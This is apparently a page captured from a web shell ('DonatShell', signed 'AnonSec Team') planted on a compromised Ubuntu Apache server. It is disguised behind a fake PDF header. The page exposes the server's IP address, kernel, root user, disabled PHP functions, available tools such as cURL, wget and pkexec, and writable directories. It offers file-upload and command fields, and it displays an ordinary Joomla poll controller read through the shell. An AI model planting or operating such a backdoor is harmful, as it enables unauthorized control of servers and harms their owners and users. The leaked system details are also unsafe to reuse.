%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/old/components/com_sppolls/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/old/components/com_sppolls/controllers/poll.php
<?php

defined('_JEXEC') or die;

class SppollsControllerPoll extends JControllerForm {
    public function getModel($name = 'Poll', $prefix = 'SppollsModel', $config = array()) {
		return parent::getModel($name, $prefix, $config);
    }
    
    // Get Ajax
	public function ajax(){
		
		jimport('joomla.application.module.helper');
		$model 	 = $this->getModel();
		$input 	 = JFactory::getApplication()->input;
		$cookie  = JFactory::getApplication()->input->cookie;
		$id 	 = $input->post->get('id', NULL, 'INT');
		$subtask = $input->post->get('subtask', NULL, 'STRING');
		$vote  	 = $input->post->get('vote', NULL, 'INT');
		$modid   = $input->post->get('modid', 0, 'INT');
		$module  = $model->getModule($modid);
		$type = $input->post->get('type', NULL, 'STRING');
		
		$params  = new JRegistry();
		$params->loadString($module->params);
		
		$user_vote = 'yes';

		if($subtask != 'result') {
			
			if (is_null($cookie->get('sp_poll_voted_' . $modid, null))) 
			{
				$poll = $model->getPoll($id);
				$options = json_decode($poll->polls);

				$new_polls = array();

				foreach ($options as $key => $value) {
					if($key == $vote) {
						$new_polls[] = array( 'poll'=>$value->poll,  'votes'=>$value->votes + 1);
						$user_vote = base64_encode($value->poll);
					} else {
						$new_polls[] = array( 'poll'=>$value->poll,  'votes'=>$value->votes);
					}
				}

				// Update
				$poll = $model->updatePoll($new_polls, $id);
			}
			else 
			{
				die('<p></p><p class="alert alert-danger">' . JText::_('COM_SPPOLLS_ALREADY_VOTED') . '</p>');
			}
		}

		

		$poll = $model->getPoll($id);
		$options = json_decode($poll->polls);
		
		$output = JLayoutHelper::render('results', array( 'options'=>$options));
		
		// Set Cookie
		if($subtask != 'result') {
			$cookie->set('sp_poll_voted_' . $modid, $user_vote, time()+ $params->get('lag', 12)*60*60);
		}

		die($output);

	}
}

Anon7 - 2022
AnonSec Team